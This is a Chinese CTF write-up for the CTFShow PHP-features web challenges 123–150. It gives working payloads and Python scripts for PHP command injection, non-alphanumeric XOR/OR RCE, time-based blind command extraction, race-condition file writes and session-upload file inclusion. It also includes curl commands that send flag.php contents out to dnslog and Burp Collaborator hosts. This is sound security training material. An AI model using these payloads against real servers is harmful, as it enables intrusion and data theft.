CTFShow web入门123-150 (php特性(二))

文章目录

    • web123
    • web124
    • web127
    • web128
    • web129
    • web130
    • web131
    • web132
    • web133
    • web134
    • web135
    • web136
    • web137
    • web138
    • web139
    • web140
    • web141
    • web142
    • web143
    • web144
    • web145
    • web146
    • web147
    • web148
    • web149
    • web150
    • web150_plus

web123

POST : CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [转换为_
但是有一个特性可以绕过,使变量名出现.之类的
特殊字符[, GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了
CTF[SHOW.COM=>CTF_SHOW.COM

另一个思路 CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS) (题目打不通)

web124

php中的$_SERVER['argv'] 参考:https://blog.csdn.net/csdn_azuo/article/details/79092479

  1. cli模式下(命令行)
    $_SERVER['argv'][0],其余是传递给脚本的参数
    CTFShow web入门123-150 (php特性(二))_第1张图片
  2. web网页下
    在php.ini开启register_argc_argv配置项 设置register_argc_argv = On
    CTFShow web入门123-150 (php特性(二))_第2张图片
    所以可以控制$a['0']
    CTFShow web入门123-150 (php特性(二))_第3张图片
    POST CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
    GET /?$fl0g=flag_give_me;
    可以让$fl0g="flag_give_me

别的一些解:

get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

CTFShow web入门123-150 (php特性(二))_第4张图片
可以通过+进行分割 argv .

CTFShow web入门123-150 (php特性(二))_第5张图片
或者

GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

web127

?ctf show=ilove36d
利用空格会自动转换为_来绕过waf
CTFShow web入门123-150 (php特性(二))_第6张图片
CTFShow web入门123-150 (php特性(二))_第7张图片

web128

GetText:一个字符串处理的函数或者说功能,进行字符替换等等. 用法可以参考https://blog.csdn.net/changli_90/article/details/9277805

PHP里面用法:https://www.cnblogs.com/lost-1987/articles/3309693.html

如果是未定义的字符,直接返回原字符
CTFShow web入门123-150 (php特性(二))_第8张图片

get_defined_vars( void) : array
返回由所有已定义变量所组成的数组 

CTFShow web入门123-150 (php特性(二))_第9张图片
在这里插入图片描述
所以payload: ?f1=_&f2=get_defined_vars

var_dump(call_user_func(call_user_func($f1,$f2)));
=> var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
=> var_dump(call_user_func(get_defined_vars));

web129

利用目录穿越漏洞绕过 stripos 检测字符
?f=/ctfshow/../../../../../../../../../var/www/html/flag.php

web130

直接POST f=ctfshow绕过正则 preg_match('/.+?ctfshow/is', $f)
可能.+匹配失败,就不再匹配?

web131

利用了php中正则表达式进行匹配有一定的限制,超过限制直接返回false
这个限制是防止正则匹配时占用资源过多设置
可以参考:
https://www.jb51.net/article/49631.htm
https://blog.csdn.net/letianok/article/details/8720210

脚本: 字符太长服务器会崩溃,太短达不到效果

import requests

url = 'http://58ace073-e21f-4c22-b1b0-e81ccf26ab74.chall.ctf.show/'
esp = 1000000
ebp = 100000
while True:
    middle = int((esp+ebp)/2)
    payload = 'ctfsho' * middle + '36Dctfshow'

    data = {
        'f': payload
    }

    r = requests.post(url=url, data=data)
    if 'flag{' in r.text:
        print(r.text)
        break
    elif 'Too Large' in r.text:
        esp = middle
    elif 'bye' in r.text:
        ebp = middle

web132

扫描后台有/amdin
考察 php运算符优先级 ||优先级低于&&
只需满足code=admin&username=admin即可
CTFShow web入门123-150 (php特性(二))_第10张图片

web133

参考 https://blog.csdn.net/qq_46091464/article/details/109095382
可以套娃命令执行

$F = @$_GET['F']
eval(substr($F,0,6));

?F=`$F`; sleep(5)

最后执行

eval(`$F`;);
还是
eval(`$F`; sleep(5)); // 这里的sleep(5)是Linux shell的函数

所以可以执行命令但没有回显,可以找方法外带
dnslog : payload:

?F = `$F`; curl `cat flag.php|grep "flag"`.65ye0m.dnslog.cn

CTFShow web入门123-150 (php特性(二))_第11张图片
或者也可以用burp的插件
CTFShow web入门123-150 (php特性(二))_第12张图片
payload:

?F=`$F`;+curl -X POST -d"flag=`cat flag.php`" ewe2mcnzf0hwu1l4eepxt26nwe25qu.burpcollaborator.net

优点是可以在请求体里携带数据
CTFShow web入门123-150 (php特性(二))_第13张图片

web134

?_POST[key1]=36d&_POST[key2]=36d

web135

直接把flag.php写到1.txt再访问

`?F=`$F`; cp flag.php 1.txt`

web136

禁用了一堆函数.想办法看到回显

linux tee命令
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件

用法:
tee file1 file2 //复制文件
ls|tee 1.txt //命令输出

payload:
ls /|tee 1
CTFShow web入门123-150 (php特性(二))_第14张图片

nl /f149_15_h3r3|tee 1
CTFShow web入门123-150 (php特性(二))_第15张图片

web137

POST ctfshow=ctfshow::getFlag

web138

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

137,138都是考察call_user_func()

call_user_func( callable $callback[, mixed $parameter[, mixed $...]] ) : mixed

和题目有关的用法:

  1. call_user_func('phpinfo');
  2. 5.3.0之后

5.3.0 对面向对象里面的关键字的解析有所增强。在此之前,使用两个冒号来连接一个类和里面的一个方法,把它作为参数来作为回调函数的话,将会发出一个E_STRICT的警告,因为这个传入的参数被视为静态方法。
如:


function barber($type)
{
    echo "You wanted a $type haircut, no problem\n";
}
call_user_func('barber', "mushroom");
call_user_func('barber', "shave");
?> 
//You wanted a mushroom haircut, no problem
//You wanted a shave haircut, no problem
  1. 用call_user_func()来调用一个类里面的方法

class myclass {
    static function say_hello()
    {
        echo "Hello!\n";
    }
}
$classname = "myclass";
call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello'); // As of 5.2.3

$myobject = new myclass();
call_user_func(array($myobject, 'say_hello'));

?> 

web139

带不出回显了,可以盲注,盲打(和sql盲注类似)

要解决两个问题

  1. 截取字符串
  2. 判断命令执行结构

截取字符串可以用awk等命令
判断命令执行结果可以用shell编程的if语句和sleep()函数

awk逐行获取
CTFShow web入门123-150 (php特性(二))_第16张图片
cut命令截取单独的字符

CTFShow web入门123-150 (php特性(二))_第17张图片
shell编程,if语句控制输出,sleep控制相应时间
在这里插入图片描述
脚本:

import requests

cmd = 'cat /f149_15_h3r3'
result = ''
for i in range(1, 10):
    for j in range(1, 50):
        print('i=', i, ' j=', j)
        for k in range(32, 128):
            k = chr(k)
            payload = f"if [ `{cmd} |awk NR=={i}|cut -c {j}` == {k} ]; then sleep 3;fi"
            payload = '?c=' + payload
            url = 'http://7e556b0d-6a65-4dc4-8be5-0389300c98f6.chall.ctf.show/'
            try:
                requests.get(url + payload, timeout=(2.5, 2.5))
            except:
                result = result + k
                print(result)
                break
    result = result + "\n"

web140

f1=intval&f2=intval
拼凑函数,凑出结果为0或false或NULL的
或者 payload: f1=usleep&f2=usleep

web141

两个考点 一个是无数字字母RCE 一个是 函数执行类的问题;
先看比如构造出来system("whoami")怎么执行它

1system("whoami"); error不会执行
1+system("whoami"); Warning 会执行
CTFShow web入门123-150 (php特性(二))_第18张图片

无数字字母RCE
通过或拼接字符串
转换脚本:

# -*- coding: utf-8 -*-
# @Time : 20.12.4 23:05
# @author:lonmar

import re

content = ''
preg = '[a-z]|[0-9]' # 题目过滤正则
# 生成字典
for i in range(256):
    for j in range(256):
        if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
            k = i | j
            if 32 <= k <= 126:
                a = '%' + hex(i)[2:].zfill(2)
                b = '%' + hex(j)[2:].zfill(2)
                content += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('rce_or.txt', 'w')
f.write(content)

while True:
    payload1 = ''
    payload2 = ''
    code = input("data:")
    for i in code:
        f = open('rce_or.txt')
        lines = f.readlines()
        for line in lines:
            if i == line[0]:
                payload1 = payload1 + line[2:5]
                payload2 = payload2 + line[6:9]
                break
    payload = '("'+payload1+'"|"'+payload2+'")'
    print("payload: "+ payload)

payload = ?v1=1&v2=2&v3=*(%22%13%19%13%14%05%0d%22|%22%60%60%60%60%60%60%22)("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60");
命令前加一些 + - * / 之类的,让它顺利执行

web142

?v1=0

web143

可以用异或构造字符串, 题目还过滤了;可以用?>代替;
脚本:

# -*- coding: utf-8 -*-
# @Time : 20.12.4 23:06
# @author:lonmar
import re

content = ''
preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/' # 题目过滤正则
# 生成字典
for i in range(256):
    for j in range(256):
        if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
            k = i ^ j
            if 32 <= k <= 126:
                a = '%' + hex(i)[2:].zfill(2)
                b = '%' + hex(j)[2:].zfill(2)
                content += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('exp_xor.txt', 'w')
f.write(content)

while True:
    payload1 = ''
    payload2 = ''
    code = input("data:")
    for i in code:
        f = open('rce_or.txt')
        lines = f.readlines()
        for line in lines:
            if i == line[0]:
                payload1 = payload1 + line[2:5]
                payload2 = payload2 + line[6:9]
                break
    payload = '("'+payload1+'"^"'+payload2+'")'
    print("payload: "+ payload)

?v1=1&v2=2&v3=*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%02%10%08%10"^"%60%60%60%20%60%60%60%60%2c%60%60%60");

web144

?v1=1&v3=2&v2=%00*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%02%10%08%10"^"%60%60%60%20%60%60%60%60%2c%60%60%60");

web145

?v1=1&v2=2&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60')|
可以用| 1|(xxx)|2
或者三元运算符 1?(xxxx):2

web146

同上

web147

可以在函数名前加上命名空间
system =>\system
\是全局命名空间

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

然后找一个能够执行命令的函数,满足题目要求的

可利用create_function()进行代码注入

参考 : https://my.oschina.net/huyex/blog/2885273
https://blog.csdn.net/weixin_44302704/article/details/108591912

payload :
GET ?show=2;}system("nl flag.php");/*
POST ctf=\create_function

web148

解法1 :
无数字字母RCE
/?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");

# -*- coding: utf-8 -*-
# @Time : 20.12.4 23:06
# @author:lonmar
import re

content = ''
preg = '[A-Za-z0-9_\%\|\~\'\,\.\:\@\&\*\+\- ]'  # 题目过滤正则
# 生成字典
for i in range(256):
    for j in range(256):
        if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
            k = i ^ j
            if 32 <= k <= 126:
                a = '%' + hex(i)[2:].zfill(2)
                b = '%' + hex(j)[2:].zfill(2)
                content += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('exp_xor.txt', 'w')
f.write(content)

while True:
    payload1 = ''
    payload2 = ''
    code = input("data:")
    for i in code:
        f = open('exp_xor.txt')
        lines = f.readlines()
        for line in lines:
            if i == line[0]:
                payload1 = payload1 + line[2:5]
                payload2 = payload2 + line[6:9]
                break
    payload = '("'+payload1+'"^"'+payload2+'")'
    print("payload: "+ payload)

解法2
中文变量
payload

$哈="`{{{"^"?<>/";${$哈}[](${$哈}[]);&=system&=tac f*
其中"`{{{" ^ "?<>/"异或得到_GET
$哈=_GET;
$_GET[]($_GET[]);
?=system&=tac f*

web149

条件竞争,一个多线程用来写,一个用来读
脚本:

# -*- coding: utf-8 -*-
# @Time : 20.12.5 11:41
# @author:lonmar
import io
import requests
import threading

url = 'http://d3aa0fa3-8a63-4994-8a43-80891c436065.chall.ctf.show/'


def write():
    while event.isSet():
        data = {
            'show': ''
        }
        requests.post(url=url+'?ctf=1.php', data=data)


def read():
    while event.isSet():
        response = requests.get(url + '1.php')
        if response.status_code != 404:
            print(response.text)
            event.clear()


if __name__ == "__main__":
    event = threading.Event()
    event.set()
    for i in range(1, 100):
        threading.Thread(target=write).start()

    for i in range(1, 100):
        threading.Thread(target=read).start()

非预期:直接写一句话到index.php
GET ?ctf=index.php
POST show=

web150

可以用包含session文件打,不过这个是非预期,后面web150_plus修复了这个非预期
脚本:

# -*- coding: utf-8 -*-
# @Time : 20.12.5 13:52
# @author:lonmar
import io
import requests
import threading

sessid = 'test'
data = {
    "ctf": "/tmp/sess_test",
    "cmd": 'system("cat flag.php");'
}


def write(session):
    while event.isSet():
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post('http://7445f895-6f17-4435-adc0-62055d7f0cb7.chall.ctf.show/',
                            data={'PHP_SESSION_UPLOAD_PROGRESS': ''},
                            files={'file': ('test.txt', f)}, cookies={'PHPSESSID': sessid})


def read(session):
    while event.isSet():
        res = session.post(
            'http://7445f895-6f17-4435-adc0-62055d7f0cb7.chall.ctf.show/?isVIP=1',
            data=data
        )
        if 'flag{' in res.text:
            print(res.text)
            event.clear()
        else:
            print('[*]retrying...')


if __name__ == "__main__":
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(1, 5):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 5):
            threading.Thread(target=read, args=(session,)).start()

web150_plus

好像还是没修复,还可以用上面的脚本打
只是多过滤了log
在这里插入图片描述
CTFShow web入门123-150 (php特性(二))_第19张图片

  1. 使用?..CTFSHOW..=xxx可以绕过正则匹配,利用空格 [ . +自动转换为_的特性

  2. __autoload()
    这个函数并不属于CTFSHOW这个类的,全局都可以用
    在定义这个函数后,尝试使用不存在的类的时候会自动加载
    用法参考 https://www.php.cn/php-weizijiaocheng-426838.html
    class_exists()同样会触发这个函数
    传入?..CTFSHOW..=phpinfo就会执行phpinfo()
    然后可以用LFI via PHPINFO
    可以参考:https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md

    修改一下exp再打

你可能感兴趣的:(CTF,php,安全)